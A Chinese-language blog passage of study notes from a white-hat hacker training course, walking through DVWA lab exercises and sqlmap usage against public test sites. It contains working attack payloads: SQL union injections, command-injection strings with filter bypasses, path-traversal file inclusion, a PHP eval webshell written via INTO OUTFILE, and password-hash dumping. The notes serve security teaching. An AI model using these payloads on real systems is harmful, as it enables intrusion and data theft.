网易白帽子黑客训练营笔记(2)

网易白帽子黑客训练营笔记(2)

文章目录

  • 网易白帽子黑客训练营笔记(2)
    • WEB安全实战
    • 安全测试之浏览器入门
            • 安全测试常用功能:
            • 浏览器插件
    • 代理工具介绍
    • 敏感文件探测入门
    • 漏洞扫描工具入门
    • SQL注入漏洞测试入门
          • 发现和利用SQL注入漏洞的基本流程
    • 在线工具详解
          • 搜索引擎语法:
          • 网络空间搜索:
          • 在线Web工具
    • web安全实战
      • DVWA部署
      • 暴力破解
      • 命令注入
      • CSRF
      • 文件包含
      • 文件上传
      • SQL回显注入
      • SQL盲注
      • XSS
          • 反射型
          • 存储型
          • 修复
    • WEB安全体系建设
      • SDL介绍
      • 漏洞和事件处理
      • 安全运营概述
    • WEB安全体系建设
      • SDL介绍
      • 漏洞和事件处理
      • 安全运营概述

WEB安全实战

网易白帽子黑客训练营笔记(2)_第1张图片 网易白帽子黑客训练营笔记(2)_第2张图片

网易白帽子黑客训练营笔记(2)_第3张图片

网易白帽子黑客训练营笔记(2)_第4张图片

安全测试之浏览器入门

工欲善其事必先利其器

网易白帽子黑客训练营笔记(2)_第5张图片

火狐关闭组织弹出式窗口:image-20220710094637789

安全测试常用功能:
  1. 清除缓存

    网易白帽子黑客训练营笔记(2)_第6张图片

    点击历史记录,进入后点击清楚浏览器数据

    网易白帽子黑客训练营笔记(2)_第7张图片

    在弹出的窗口中进行清理

    网易白帽子黑客训练营笔记(2)_第8张图片

    不得不提的隐身模式

    网易白帽子黑客训练营笔记(2)_第9张图片

    找到打开新的无痕式窗口,点击进入

    网易白帽子黑客训练营笔记(2)_第10张图片
  2. 查看网页源代码

    • 鼠标右键,点击查看网页源代码
    • 也可在地址栏中直接输入URL查看源代码view-source
  3. 查看DOM元素

    在想要查看处鼠标右键就可以打开开发者工具栏并定位到你想看的地方。F12也可打开开发者工具栏,左上角有个鼠标样式的按钮,也可以定位查看。

  4. 查看网络数据包

    F12调出“开发者工具栏”,点击Network

    F5刷新页面或进行相应操作

    网易白帽子黑客训练营笔记(2)_第11张图片 网易白帽子黑客训练营笔记(2)_第12张图片
浏览器插件

以Firefox为例,点击扩展和主题进入

网易白帽子黑客训练营笔记(2)_第13张图片

在查找栏中输入你要寻找的插件即可

网易白帽子黑客训练营笔记(2)_第14张图片

找到对应插件下载安装即可。

网易白帽子黑客训练营笔记(2)_第15张图片

firebug新版本下该扩展已经无法使用。而且firebug官方已经宣布停止对新版火狐浏览器进行适配。推荐尝试下其替代调试工具:Developer Tools。相对于firebug,该扩展集成于浏览器内部,功能更为强大。

网易白帽子黑客训练营笔记(2)_第16张图片

HackBar为Firefox浏览器提供快速构造HTTP请求及多种编码变换的功能

网易白帽子黑客训练营笔记(2)_第17张图片

编辑Cookie类插件为Firefox浏览器提供快速修改,增加,删除Cookie的功能。

代理工具介绍

代理工作原理

ip代理工具的工作原理,等同于1个接入服务器端和网络服务器的“转运站”,在人们向虚拟服务器明确提出要求后,服务器代理先得到客户的要求,再将服务项目要求转送至虚拟服务器,并将虚拟服务器意见反馈的結果再转送到服务器端。这就相当于说,和服务器端沟通的是服务器代理,由它在表面,服务器端则掩藏在背后。

常用的代理工具包括:Burpsuite,Charles,Fiddler

Burpsuite:基于Java环境,跨平台,功能强大,除了代理抓包还有丰富的安全测试功能

Charles:基于Java环境,跨平台;代理抓包功能细致,操作简单

Fiddler:Windows下运行;提供免费的个人版本。

敏感文件探测入门

Python语言上手简单,Web功能强大,目前有很多Python语言开发的Web安全工具

下载Python安装包:www.python.org,官网下载,安装前点击Add Python to Path,方便后续使用,减少麻烦。

什么是“敏感文件”?

敏感文件对于网站来说,就像是网站(网站管理员)的秘密日记,这些文件如果没有保护好被访问者发现了,就有可能暴露站点的脆弱性或保密数据。

常见的“敏感文件”类型

网站管理后台,数据文件,备份文件,Webshell

敏感文件探测原理:猜测文件名,然后根据返回的HTTP状态码判断文件是否存在

(200:文件存在 301:文件发生跳转 404:文件不存在)

实战:用“御剑”扫描敏感文件

  • ​ 目标站点:http://testasp.vulnweb.com http://testphp.vulnweb.com

  • ​ 字典选择(参考):ASP.txt,DIR.txt,MDB.txt,PHP.txt

  • 网易白帽子黑客训练营笔记(2)_第18张图片

  • 改进思路:

    • 首先思考:字典越大越好吗?收集的时候字典越大越好,但扫描的时候字典越大扫描越慢,要做好字典的分类

      • 用ASP的字典去扫PHP的站点就是无用功
    • 如何判断常见网站脚本类型?(ASP,PHP,ASPX,JSP等)

      • 一个简单的方法:判断index的文件类型

        查看:index.asp,index.php,index.aspx,index.jsp等是否存在

    • 如何生成针对性的字典?

      • 可能存在的备份文件名(以目标站点为例)

        testaspvulnwebcom.rar vulnweb.com.rar TESTASP.VULNWEB.COM.rar

      • 利用python小程序:根据URL生成目标备份文件猜测字典

漏洞扫描工具入门

综合性Web漏洞扫描器:AWVS,Netsparker,AppScan

一款优秀的漏洞扫描器是一批安全专家将自己积累的“测试手法”和“测试经验”自动化的产物,是宝贵的智慧结晶。

本篇以AWVS为例(所有相关博客均可找我领取):

网易白帽子黑客训练营笔记(2)_第19张图片

网易白帽子黑客训练营笔记(2)_第20张图片

网易白帽子黑客训练营笔记(2)_第21张图片 网易白帽子黑客训练营笔记(2)_第22张图片 网易白帽子黑客训练营笔记(2)_第23张图片

扫描流程与基本原理:

扫描配置与目标基本信息探测——>爬虫:目标站点页面爬取——>各个漏洞探测模块:具体的漏洞测试——>漏洞结果记录和呈现

改进思路

  1. 对目标站点的误伤
    • 如:高流量,请求了危险功能(如删除数据库)
  2. 漏洞扫描的盲区:逻辑漏洞
    • 如:订单金额数据篡改漏洞

漏洞评级问题

技术角度+业务角度(比重较大)

漏洞扫描结果的解读和运用

  1. 测试用例可能需要调整

  2. 误报与漏报

  3. 将扫描结果作为人工测试的线索

    尽信书,则不如无书

SQL注入漏洞测试入门

SQL注入的成因是因为服务器要执行的数据库代码拼接了用户输入的数据。

SQL注入漏洞的典型危害是可以被用来获取数据库敏感数据(拖库)

利器——SQLmap

sqlmap.org

命令行工具

1)只需要关注输入和输出

2)看到流程化的执行细节

sqlmap是一款开源的SQL注入漏洞检测与利用神器

网易白帽子黑客训练营笔记(2)_第24张图片
发现和利用SQL注入漏洞的基本流程
  • 找到有数据库交互的功能页面
  • 判断页面是否存在SQL注入
  • 利用SQL注入漏洞读取数据
  • 导出所需数据保存

sqlmap为何被称为神器?

支持的数据库:

MySQL,
​ Oracle,
Microsoft SQL Server,
​ SQLite,
​ PostgreSQL,
​ Microsoft Access,
​ IBM DB2,
​ Firebird,
​ Sybase和SAP MaxDB

支持的参数设置:GET,POST or Cookie parameters or via the HTTP User-Agent request header

sqlmap基本语法

小技巧:字母缩写前一个-,完整单词前是两个–

判断注入点:命令:python sqlmap.py -u “目标URL”

eg:sqlmap -u testphp.vulnweb.com/artists.php?artist=1

网易白帽子黑客训练营笔记(2)_第25张图片

查看用户:–users

eg:sqlmap -u testphp.vulnweb.com/artists.php?artist=1 --users

网易白帽子黑客训练营笔记(2)_第26张图片

查看有哪些数据库:-- dbs

eg:sqlmap -u testphp.vulnweb.com/artists.php?artist=1 --dbs

网易白帽子黑客训练营笔记(2)_第27张图片

当数据库和用户较多时,我们会查看当前用户和当前数据库。
--current-user
--current-db
eg:sqlmap -u testphp.vulnweb.com/artists.php?artist=1 --current-user --current-db

网易白帽子黑客训练营笔记(2)_第28张图片

读取数据库: --tables -D “数据库名”

eg:sqlmap -u testphp.vulnweb.com/artists.php?artist=1 --tables -D “acuart”

网易白帽子黑客训练营笔记(2)_第29张图片

读取表的列信息:–columns -T “表名” -D “数据库名”

eg:sqlmap -u testphp.vulnweb.com/artists.php?artist=1 --columns -T “users” -D “acuart”

网易白帽子黑客训练营笔记(2)_第30张图片

查看有多少条数据:–count -T “表名” -D “数据库名”

eg:sqlmap -u testphp.vulnweb.com/artists.php?artist=1 --count -T “users” -D “acuart”

网易白帽子黑客训练营笔记(2)_第31张图片

读取数据:–dump -T “表名” -D “数据库名”

eg:sqlmap -u testphp.vulnweb.com/artists.php?artist=1 --dump -T “users” -D “acuart”

网易白帽子黑客训练营笔记(2)_第32张图片

选择性读取:–start 2 --stop 3

eg:sqlmap -u testphp.vulnweb.com/artists.php?artist=1 --dump -T “poducts” -D “acuart” --start 2 --stop 3

(读取第二条到第三条)

下载数据:–dump-all -D “数据库名”

eg:sqlmap -u testphp.vulnweb.com/artists.php?artist=1 --dump-all -D “acuart”

网易白帽子黑客训练营笔记(2)_第33张图片 网易白帽子黑客训练营笔记(2)_第34张图片

读取本地文件:-r

–data=DATA :Data string to be sent through POST (e.g. “id=1”)

在实际环境中,确定注入点以及基本的信息就可以了

在线工具详解

搜索引擎语法:

通过百度首页右上角的设置——>高级搜索

网易白帽子黑客训练营笔记(2)_第35张图片

Google Hack技术

  • site:所搜在特定的站点信息(想搜索目标站点的页面)
  • inurl:搜索URL中包含指定字符串的网址(想找到目标站点登陆地址并且暴力破解密码)
  • filetype:搜索出特定后缀名的文件(想查看目标站点有没有邪路的数据库文件)
  • 高级搜索技术:自由组合,灵活运用,会有惊喜
网络空间搜索:

万物互联:个人计算机和服务器,路由器,智能家电,平板电脑,收集,摄像头,工业控制设备等。

如果把每一个接入互联网的设备看做一个节点,就构成了我们的网络空间

Shodan,ZoomEy,FOFA

网络空间搜索引擎基本原理:探测/爬取——>识别/打标签——>存储供检索

在线Web工具

对目标站点进行基本信息探测:whatweb.net

网易白帽子黑客训练营笔记(2)_第36张图片

IP站点查询:www.ipip.net

哈希值密文转明文:www.cmd5.com

站长工具:tool.chinaz.com

web安全实战

web安全是一门真枪实干的学科(挖漏洞)

web基础知识——>了解我们挖洞的对象

web安全基础——>我们可以挖哪些洞

web安全工具——>我们挖洞过程中可以使用的工具

web安全实战——>我们挖洞过程中的技巧以及填坑方法

web安全体系建设——>把挖洞作为事业来干需要注意什么

网易白帽子黑客训练营笔记(2)_第37张图片

误区:不要局限于某个系统,某种语言,某个工具,某段代码

我们学习的是挖洞思路。

DVWA部署

phpstudy:http://www.phpstudy.net/

浏览器访问自己电脑IP说明安装成功

DVWA:用php语言编写的web安全渗透测试环境

官网下载:http://www.dvwa.co.uk/

解压代码到phpstudy网站根目录

Tips:phpstudy默认网站根目录是安装目录下的WWW目录

打开DVWA数据库配置文件config/config.inc.php

因为MySQL默认账号密码是root,所以修改数据库配置文件为PHP study默认配置(将密码改为root)

访问http://自己电脑IP/DVWA目录/setup.php

点击“Create/Reset Database”按钮创建数据库

访问http://自己电脑IP/DVWA目录/login.php

输入用户名admin,密码password,成功登录

至此,DVWA部署成功

暴力破解

确认破解范围——>确认破解动作——>确认破解结果

OWASP ZAP可以截取并处理代理网口的数据包。

开放式Web应用程序安全项目(OWASP,Open Web Application Security Project)是一个组织,它提供有关计算机和互联网应用程序的公正、实际、有成本效益的信息。其目的是协助个人、企业和机构来发现和使用可信赖软件。开放式Web应用程序安全项目(OWASP)是一个非营利组织,不附属于任何企业或财团。

ZAP则是OWASP里的工具类项目,也是旗舰项目,全称是OWASP Zed attack proxy,是一款web application 集成渗透测试和漏洞工具,同样是免费开源跨平台的。

手工破解

网易白帽子黑客训练营笔记(2)_第38张图片

登录DVWA

用户名:admin 密码:password

调整安全等级Low

网易白帽子黑客训练营笔记(2)_第39张图片

确认破解动作

网易白帽子黑客训练营笔记(2)_第40张图片
  1. 输入用户名
  2. 输入密码
  3. 单击“login”按钮

确认破解结果

网易白帽子黑客训练营笔记(2)_第41张图片
  1. 失败:输入任意用户名密码,如test/test
  2. 成功:一般情况下无法知道成功的破解结果,但可以确认与失败是不相同的

确认破解范围

  1. 用户名字典(username.txt:admin,manage,system,root)
  2. 密码字典(password.txt:admin,root,123456,password,abc123,111111,qwerty,000000)

开始暴力破解

手工循环操作的次数由字典的大小决定

成功破解用户名/密码为admin/password

出现如图所示的结果,说明成功:网易白帽子黑客训练营笔记(2)_第42张图片

自动实战

Firefox代理设置——>ZAP代理设置——>抓包

网易白帽子黑客训练营笔记(2)_第43张图片

自动方法:错误响应页面4.381KB,正确响应页面4.424KB

确认破解范围:设置username字典,设置password字典

网易白帽子黑客训练营笔记(2)_第44张图片 网易白帽子黑客训练营笔记(2)_第45张图片

开始暴力破解:点击“Start Fuzzer”

网易白帽子黑客训练营笔记(2)_第46张图片

可以对数据包大小进行排序,最终可以看到我们成功的账号密码较大

Medium等级:我们按照Low难度的操作进行一遍,发现这次时间非常长。

​ 上一次的响应时间是毫秒级的,而这次的是很多秒;

​ 经过查看源代码,我们发现每错误一次就要等待两秒,会导致时间加长。

image-20220716155126323

High等级:抓包发现每次登陆参数user_token都是动态且不可预测的随机字符串

​ 下一次的user_token会在上一次的相应暴力返回给浏览器

image-20220716155347940

网易白帽子黑客训练营笔记(2)_第47张图片

针对这样的情况我们能不能攻破呢?答案是肯定的,我们需要重新设计破解动作

重理思路:

网易白帽子黑客训练营笔记(2)_第48张图片

破解动作:访问首页——获得usertoken参数——发送带usertoken的登陆数据包

网易白帽子黑客训练营笔记(2)_第49张图片 网易白帽子黑客训练营笔记(2)_第50张图片

记录usertoken值:

image-20220716160859388

设置攻击类型,Payload1和Payload2:

网易白帽子黑客训练营笔记(2)_第51张图片

设置Payload1 并导入字典:

网易白帽子黑客训练营笔记(2)_第52张图片

Payload2设置:选择Recursive grep

网易白帽子黑客训练营笔记(2)_第53张图片

找到Grep Extract 添加

网易白帽子黑客训练营笔记(2)_第54张图片

1、refetch response 2、搜索token 3、选中 4、点击ok

网易白帽子黑客训练营笔记(2)_第55张图片

redirections设置为always

网易白帽子黑客训练营笔记(2)_第56张图片

设置复制的user token

网易白帽子黑客训练营笔记(2)_第57张图片

设置线程为1,然后点击开始爆破

网易白帽子黑客训练营笔记(2)_第58张图片

成功找到账号密码

网易白帽子黑客训练营笔记(2)_第59张图片

Impossible等级:账号密码输错三次就会被要求等待十五分钟,有效地防止了暴力破解。

防止暴力破解除了限制错误登录次数,还有验证码。

命令注入

命令——>操作系统的命令

注入——>通过web程序在服务器上拼接系统命令

进入DVWA ,Security Level选择Low

进入Command Injection,是命令执行的主界面

网易白帽子黑客训练营笔记(2)_第60张图片

乱码问题解决方法:在DVWA-master\dvwa\includes目录下找到dvwaPage.inc.php文件中所有的”charset=utf-8”,修改”charset=gb2312”

正常操作:输入IP地址——>点击提交

网易白帽子黑客训练营笔记(2)_第61张图片

猜测命令:显示结果——>ping 127.0.0.1

网易白帽子黑客训练营笔记(2)_第62张图片

推测调用了我们的系统命令——ping命令

手工实战

确认可控字段

  • 固定字段:ping + 空格
  • 可控字段:任意(127.0.0.1)

确认命令语句

Windows下如何连接两条命令?使用**&&**符号

  • 固定字段:ping + 空格
  • 注入字段:127.0.0.1&&net user

输入注入命令,显示注入结果:

网易白帽子黑客训练营笔记(2)_第63张图片

命令注入流程:判断是否调用系统命令——>判断函数或函数的参数是否可控——>判断可控参数是否可以拼接注入命令

Medium

首先我们输入和上一个一样的命令127.0.0.1&&net user

网易白帽子黑客训练营笔记(2)_第64张图片

我们发现&&符号没有显示,说明被过滤掉了。这时我们要思考Windows下除了&&还有什么符号可以连接两条命令?

一个&符号也是可以连接两条命令的,我们可以去试一下。127.0.0.1&net user

网易白帽子黑客训练营笔记(2)_第65张图片

成功执行命令。

High

我们将上面两个在high上面都试一下,发现都是不可运行的。这时我们就要想有没有什么&还能连接两条命令?没错,就是|

127.0.0.1|net user

网易白帽子黑客训练营笔记(2)_第66张图片

我们发现只有net user的结果执行出来了,ping命令并没有展示出来,这里并不影响我们的利用。

Impossible:限制了输入IP的格式,有效防止了命令注入

网易白帽子黑客训练营笔记(2)_第67张图片

修复

通常我们会想到黑名单,但是对于SQL注入漏洞来说黑名单并不可靠,我们通常会选用白名单,要求输入的IP格式与我们规定的格式相同。

我们使用黑名单过滤了命令,在windows系统中我们可以使用” “来进行绕过(who”“ami,who”“am”“i),在Linux系统中更加灵活,Linux系统甚至还支持单引号(host‘ ’name)

实战技巧

&,&&,|,||命令拼接符的区别:

  1. A&B:简单的拼接,AB之间无制约关系
  2. A&&B:A执行成功,然后才会执行B
  3. A|B:A的输出,作为B的输入
  4. A||B:A执行失败我们才会执行B

如果不显示输出结果怎么办?

  • 延时注入 Windows:ping 127.0.0.1 -n 5>nul Linux:sleep 5
  • 远程请求 Windows:ping,telnet等。 Linux:wget,curl等

CSRF

跨站请求伪造(Cross-site request forgery),其中跨站请求是由受害者操作的,只有伪造是攻击者进行的。

受害者角度:用户在当前已登录的web应用程序上执行非本意的操作

攻击者角度:攻击者欺骗浏览器,让其以受害者的名义执行自己想要的操作

手工实战

准备:firefox,dvwa,hackbar,foxyproxy,burpsuite

进入DVWA系统,难度选择Low,进入CSRF,是CSRF攻击的主界面,是常见的修改没密码功能。

网易白帽子黑客训练营笔记(2)_第68张图片

正常操作:输入新密码,再输入新密码,点击提交

网易白帽子黑客训练营笔记(2)_第69张图片

页面提示密码改变了,退出重新登录检验密码是否成功修改。

开启foxyproxy,用burp进行抓包,再次执行刚刚的三步操作

网易白帽子黑客训练营笔记(2)_第70张图片

打开数据包,修改数据包

image-20220719103915042

退出重新登录,用修改过的数据包的密码登陆成功。

攻击者通过修改数据包的账号密码将其变成新的get请求,以链接形式发送给用户,希望用户点击以执行,通常会对这个链接进行重新包装,即重新构造HTML。

比较通用的方法就是快速构造HTML表单,将HTML表单输入到hackbar中,点击split URL进行分割

网易白帽子黑客训练营笔记(2)_第71张图片

再将分割好的内容分别填入已经构造好的HTML函数

网易白帽子黑客训练营笔记(2)_第72张图片

通常黑客不使用click me按钮,而是使用JS脚本自动提交的。

将生成的html文件放入到phpstudy的根目录下。将包装好的链接发送给受害者,诱骗受害者点击。

受害者点击后,密码会直接被修改。即使受害者发现,此时黑客也已经使用你修改后的密码进入了你点账户,拿走了他想要的信息。

网易白帽子黑客训练营笔记(2)_第73张图片

Medium

我们尝试使用low等级的方法,受害者点击后,我们的修改密码界面会发生跳转,提示我们请求不正确

网易白帽子黑客训练营笔记(2)_第74张图片

我们继续进行抓包分析,手工输入修改是成功的。

然后我们对成功和失败的数据包进行分析,查找失败原因。

网易白帽子黑客训练营笔记(2)_第75张图片

对比后我们可以发现请求包头部信息里面referer的信息不同,难道是medium对referer有限制?

我们接下来可以进行尝试,修改referer直到提示成功。

网易白帽子黑客训练营笔记(2)_第76张图片

通过不断的修改我们发现referer只要包含host就能绕过限制!这样的校验是存在问题的,仅仅检验了是否存在host。这样就为后门我们的攻击提供了机会。

我们进行验证,将referer直接修改成host

网易白帽子黑客训练营笔记(2)_第77张图片 网易白帽子黑客训练营笔记(2)_第78张图片

由此,我们攻击者的思路也应该由构造HTML转变为构造链接

网易白帽子黑客训练营笔记(2)_第79张图片

我们可以选择构造一个和host相同的文件夹,将html文件放入,这样我们的链接中就会包含host字段了。

后面的步骤就和之前一样了——诱骗受害者点击,受害者点击后,攻击者登录。

High

网易白帽子黑客训练营笔记(2)_第80张图片

对比medium和high的数据包我们可以发现,high在medium的基础上加了user_token参数,每次修改密码user_token都是不一样的。这里我们就可以想到前面做的暴力破解的High也是由user_token,并且user_token来自上一次的响应包。所以low和medium的方法我们都不能使用了,但是这并不是绝对的,如果该网站存在XSS漏洞,我们依旧可以结合XSS漏洞获取页面中的user_token参数。

CSRF Token:我们称这种类型的随即参数为csrf token,它保证了攻击者无法猜测到所有参数。

为何暴力破解可以突破CSRF Token?因为构造HTTP请求的人不一样:暴力破解的攻击者是当前用户,受害者是其他用户。CSRF的攻击者是其他用户,受害者是当前用户。

Impssible:需要输入原始密码,有效防止了CSRF

修复

校验Referer,随机Token(这个很有效,业内普遍做法),验证码(牺牲用户体验来遏制CSRF)

文件包含

文件包含等同于偷梁换柱。文件包含其实是一种代码处理方法,函数如include,require等,参数是文件名。

文件包含漏洞:文件名参数用户可控且过滤不严,被攻击者偷梁换柱。

文件包含:include(“hello.php”)

手工实战

进入DVWA,选择等级Low,进入File Inclusion,是文件包含漏洞的主界面。

网易白帽子黑客训练营笔记(2)_第81张图片

如果出现The PHP function allow_url_include is not enabled.说明我们allow_url_include没有设置,allow_url_include它是允许php远程包含url的配置,我们需要开启它。

配置方法:phpstudy主界面其他选项菜单——>php扩展及设置——>参数开关设置——>将allow_url_include打勾

按F5刷新就没有这个提示了。

正常操作:file1.php file2.php file2.php

我们发现URL除了page都没有变化。

尝试:将page改为test.php,发现报错:提示我们没有找到这个文件的信息,因为我们是随便写的,所以当然没有这个文件。也说明我们的尝试是正确的,服务器会去寻找这个文件。我们同时有新的发现,他爆出了web的绝对路径,这是我们后面要用到的。

image-20220719150704261
http://127.0.0.1/DVWA-master/vulnerabilities/fi/?page=xxx.php

include(“C:\phpStudy\PHPTutorial\WWW\DVWA-master\vulnerabilities\fi\xxx.php ”)

固定字段:include(“C:\phpStudy\PHPTutorial\WWW\DVWA-master\vulnerabilities\fi\

可控字段:xxx.php

攻击——本地文件读取

读取C:\phpStudy\PHPTutorial\WWW\DVWA-master\php.ini内容

include(“C:\phpStudy\PHPTutorial\WWW\DVWA-master\php.ini”)

include(“C:\phpStudy\PHPTutorial\WWW\DVWA-master\vulnerabilities\fi\…/…/php.php ”)

固定字段:C:\phpStudy\PHPTutorial\WWW\DVWA-master\vulnerabilities\fi\

可控字段:…/…/php.php

验证:先访问原始内容,查看文件里是什么。再访问我们刚刚构造好的URL进行访问,在页面顶部出现了php.ini的文件内容,所以我们读取成功。

http://127.0.0.1/DVWA-master/vulnerabilities/fi/?page=…/…/php.ini

image-20220719155135999

攻击——本地文件执行

读取其他目录的PHP脚本会怎样?显示内容还是执行PHP代码?

DVWA根目录有一个phpinfo.php的文件,可以显示服务端php的相关配置信息。

网易白帽子黑客训练营笔记(2)_第82张图片

phpinfo.php所在的文件位置与php.ini位置相同,说明文件包含不但能读取文件,还能运行文件。

攻击——远程文件执行

这个文件可以放在任何地方?只要有php代码的文件都会执行?

非PHP文件只要包含PHP代码就可以被执行。远程的执行不是在web攻击者的服务器上执行,因为这并没有什么意义,我们期望的是在受害者的web服务器上执行(用phpinfo.txt)。

phpinfo.php:

网易白帽子黑客训练营笔记(2)_第83张图片

phpinfo.txt:

网易白帽子黑客训练营笔记(2)_第84张图片

Medium

根据Low直接执行php.ini是失效的,弹出错误信息,说明过滤了某些字符。

image-20220719161328348

我们最终发现是…/这个字符串被过滤了。(使用排除法逐个排除)

网易白帽子黑客训练营笔记(2)_第85张图片

知道这些之后,我们就不能再使用…/来返回上层目录了。我们想到可以使用…\

验证:

image-20220719161922652

果然成功读取了php.ini里面的内容。

远程文件执行过滤了http://完整字符串这样的整体,分开是不会过滤的

网易白帽子黑客训练营笔记(2)_第86张图片

解决的方法似乎也有

网易白帽子黑客训练营笔记(2)_第87张图片

成功攻破medium等级的远程文件执行。

High

用Low和Medium的方法均失败。

我们不断尝试,发现服务端只认file开头的参数

网易白帽子黑客训练营笔记(2)_第88张图片

file协议,文件传输协议,访问本地计算机中的文件

file://加上物理路径

验证:网易白帽子黑客训练营笔记(2)_第89张图片

file协议可以读取系统文件。

远程文件执行也是只支持file开头的字符串。这可就麻烦了,file协议只支持本地文件,远程的不支持。如果有一种方法可以将远程的文件传到服务器上就好了,这就是文件上传漏洞。这需要结婚文件上传漏洞,然后进行本地文件执行。

攻击者思路:攻击者不需要租户的web服务器,利用文件上传漏洞,上传含有恶意代码的文件——>获取文件所在物理地址——>成功执行恶意代码

Impossible:

只允许四个文件名,有效地防止了文件包含漏洞

网易白帽子黑客训练营笔记(2)_第90张图片

修复

medium方法是黑名单方法,而high和impossible用的是白名单方法,白名单的方法更加有效,能够防止更多的恶意攻击。

文件上传

文件上传:文本中的常见功能,将本地文件上传到服务器上。

文件上传漏洞:web允许用户上传恶意代码文件,并在服务器上运行。

upload(“hello.php”),我们要做的就是将hello.php上传上去。

文件上传大小有限制: ( $uploaded_size < 100000 ),大于限制就会导致上传失败,上传前请调整好图片大小。

手工实战

准备:firefox,dvwa,hackbar,owasp ZAP

登录dvwa,选择Low等级,进入File Upload,是文件上传漏洞的主界面,是常见的上传图片的功能。

网易白帽子黑客训练营笔记(2)_第91张图片

我们尝试直接上传一个php文件

网易白帽子黑客训练营笔记(2)_第92张图片

通过显示的文件路径结合URL我们可以得出上传的文件存放发位置

image-20220720150218730

到对应的URL里查看是否上传成功,我们看到下面这张图就知道上传成功了,说明存在文件上传漏洞。

网易白帽子黑客训练营笔记(2)_第93张图片

利用漏洞:通过一句话webshell

网易白帽子黑客训练营笔记(2)_第94张图片

查看文件操作:网易白帽子黑客训练营笔记(2)_第95张图片

反斜杠\需要转译,所以这里都是两个反斜杠。

Medium

直接上传php文件失败。提示我们:Your image was not uploaded. We can only accept JPEG or PNG images.

网易白帽子黑客训练营笔记(2)_第96张图片

看来我们要想别的方法了。我们用OWASP ZAP抓包试一下吧,

网易白帽子黑客训练营笔记(2)_第97张图片

对比上传图片和php抓到的包的POST数据的不同,主要有三处:文件名,文件类型,文件内容

我们不断用成功的包中的数据代替php包中数据的位置,最后确认是文件类型的地方被服务端限制了,也发现了破解medium的方法:将Content-Type修改为image/jpeg

网易白帽子黑客训练营笔记(2)_第98张图片

上传成功,进入URL测试一下,成功。

网易白帽子黑客训练营笔记(2)_第99张图片

High:

使用low和medium的方法对high都无效。

我们对比数据包发现还是那三个地方不同,我们最终确认是文件后缀和文件内容被限制了。

文件内容的限制真的是无懈可击吗?

制作内涵图:copy 1.jpg/b + 1.txt/a 2.jpg (其实就是图片马)

image-20220720165459568

借助web文件解析漏洞:nginx解析漏洞

切换phpstudy:

网易白帽子黑客训练营笔记(2)_第100张图片

打开配置文件,php.ini检查cgi.fix_pathinfo是否为1,一般默认都是为1的。不是1的话修改为1.

网易白帽子黑客训练营笔记(2)_第101张图片

这样的服务端设置就存在畸形解析的问题。xxx.xxx/xxx.php这样的路径只要前一个文件存在就会当成后面的php文件解析

网易白帽子黑客训练营笔记(2)_第102张图片

这样php文件就能解析了。

Impossible:重新生成了图片,有效地防止了文件上传漏洞。

修复

阻止非法文件上传:文件后缀名的白名单,文件类型校验,文件内容头部的判断。

组织非法文件执行(例如impossible):文件重命名,文件压缩重生成,存储目录执行权限,存储目录与web分离

SQL回显注入

SQL注入:通过web程序在数据库里执行任意SQL语句

SQL回显注入:数据库的执行结果会直接运行到页面上

手工实战

准备:firefox,dvwa,hackbar,sqlmap

登录dvwa,选择Low等级,进入SQL Injection,是SQL回显注入的主页面

正常操作:输入1,提交,查询结果

网易白帽子黑客训练营笔记(2)_第103张图片

猜测这个SQL语句长啥样:SELECT First name,Surname from xxx Where userID = 我们输入的ID

先探测是否存在漏洞,最简单的是在1后面添加单引号‘,如果存在漏洞,就会按如下报错:

输入1’,提交,错误回显:image-20220720191409990

1是对的,1‘是语法错误的,所以他是存在SQL注入漏洞的。

三种注入POC:

… where user_id = $id ——> … where user_id = 1 or 1024 = 1024

… where user_id = ‘$id’ ——> … where user_id = ‘1’ or ’1024’ = ‘1024’

… where user_id = “$id” ——> … where user_id = “1” or “1024” = “1024”

第一种没有注入成功:网易白帽子黑客训练营笔记(2)_第104张图片

第二种:

网易白帽子黑客训练营笔记(2)_第105张图片

这里执行成功,表示代表where语句已经被成功的or条件执行。

第三种也没有注入成功:网易白帽子黑客训练营笔记(2)_第106张图片

所以我们可以判断这里是用单引号对变量进行闭合的。

三种MySQL注释符

#(忽略)	单行注释,注意与url中的#区分,常编码成%23

-- (忽略)	单行注释,注意是短线短线空格

/*(忽略)*/	多行注释,至少有两处输入,/**/注入中常用来作为空格		

确定查询字段数

1’ order by 10#

网易白帽子黑客训练营笔记(2)_第107张图片

二分法继续查找:image-20220720193215995

网易白帽子黑客训练营笔记(2)_第108张图片 网易白帽子黑客训练营笔记(2)_第109张图片

最终我们确定字段数为2.

判断回显点

id=xx’+union+select+1,2-+

网易白帽子黑客训练营笔记(2)_第110张图片

说明我们这里可以一下查询两个数字。

查询数据库信息

id=xx’+union+select+@@version,@@datadir–+

网易白帽子黑客训练营笔记(2)_第111张图片

version:数据库版本

datadir:数据库目录

查询用户名和数据库名

id=xx’+union+select+user(),+database()–+

网易白帽子黑客训练营笔记(2)_第112张图片

查询表面

id=xx’+union+select+1,table_name+from+information_schema.tables+where+table_schema=,dvwa’–+

网易白帽子黑客训练营笔记(2)_第113张图片

我们可以查到两个表,一个是guestbook,一个是user。

查询列名
id=xx’+union+select+1,column_name+from+information_schema.columns+where+table_name=‘users’–+
网易白帽子黑客训练营笔记(2)_第114张图片

我们发现这里有user和password这两个敏感信息,我们下一步就去查询他们。

网易白帽子黑客训练营笔记(2)_第115张图片

查询用户名和密码

id=xx’+union+select+user,password+from+users–+

网易白帽子黑客训练营笔记(2)_第116张图片

我们发现密码是一串哈希串,所以我们需要去获取明文密码。

这里我们不需要自己去查,借助cmd5网站的反查功能,很轻松就可以解决

网易白帽子黑客训练营笔记(2)_第117张图片

文件读取

id=xx’+union+select+1,load_file(“本地文件地址”)–+

网易白帽子黑客训练营笔记(2)_第118张图片

写webshell

PHP一句话木马:


	@eval($——GET['cmd']);
	?>

首先我们需要知道写入web目录的物理路径,我们采用的方法就是通过引发异常导致应用报错,报出物理路径。

网易白帽子黑客训练营笔记(2)_第119张图片

select…into outfile…

?id=xx'+union+select+"","webshell"+into+outfile+' C:\\phpStudy\\PHPTutorial\\WWW\\DVWA-master\\cmd.php'--+
网易白帽子黑客训练营笔记(2)_第120张图片

自动实战

sqlmap攻击

sqlmap.py -u “http://127.0.0.1/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit#” -p “id” – cookie= “security=low;PHPSESSID=i1bjltdgosp5bnbr8ef314p5s3”

执行slmap语句,查看注入类型。

网易白帽子黑客训练营笔记(2)_第121张图片

查看当前用户和数据名

